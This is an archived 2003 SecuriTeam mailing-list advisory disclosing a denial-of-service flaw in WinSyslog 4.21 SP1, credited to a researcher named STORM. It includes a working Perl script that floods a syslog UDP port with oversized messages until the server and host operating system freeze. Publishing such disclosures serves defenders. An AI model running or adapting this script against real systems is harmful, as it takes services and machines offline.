

[NT] Security Vulnerability in WinSyslog (DoS)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-10/0060.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 10/14/03

To: list@securiteam.com

Date: 14 Oct 2003 14:53:17 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Security Vulnerability in WinSyslog (DoS)

SUMMARY

<<http://WinSyslog.com>> WinSyslog is "an enhanced syslog server for Windows". A vulnerability in the product allows remote attackers to cause the WinSyslog to freeze, which in turn will also freeze the operating system on which the product executes.

DETAILS

Vulnerable version:

* WinSyslog version 4.21 SP1

By sending an arbitrary long Syslog messages to the WinSyslog program it is possible to cause it to freeze, when WinSyslog freezes the whole operating system will freeze with it.

Exploit:

```
#!/usr/bin/perl
```

```
#WinSyslog System Freeze Vulnerability
```

```
use IO::Socket;
```

```
$host = "192.168.1.44";
```

```
$port = "10514";
```

Securiteam: [NT] Security Vulnerability in WinSyslog (DoS)

```
$data = "A";

$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error:
$@\n";
$ipaddr = inet_aton($host) || $host;
$portaddr = sockaddr_in($port, $ipaddr);

for ($count = 0; $count < 1000; $count ++)
{
$buf = "";
$buf .= "A"x((600+$count)*4);

print "Length: ", length($buf), "\n";
send($socket, $buf, 0, $portaddr);
print "sent\n";
}

print "Done\n";
```

ADDITIONAL INFORMATION

SecuriTeam would like to thank <storm@securiteam.com> STORM for finding this vulnerability.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.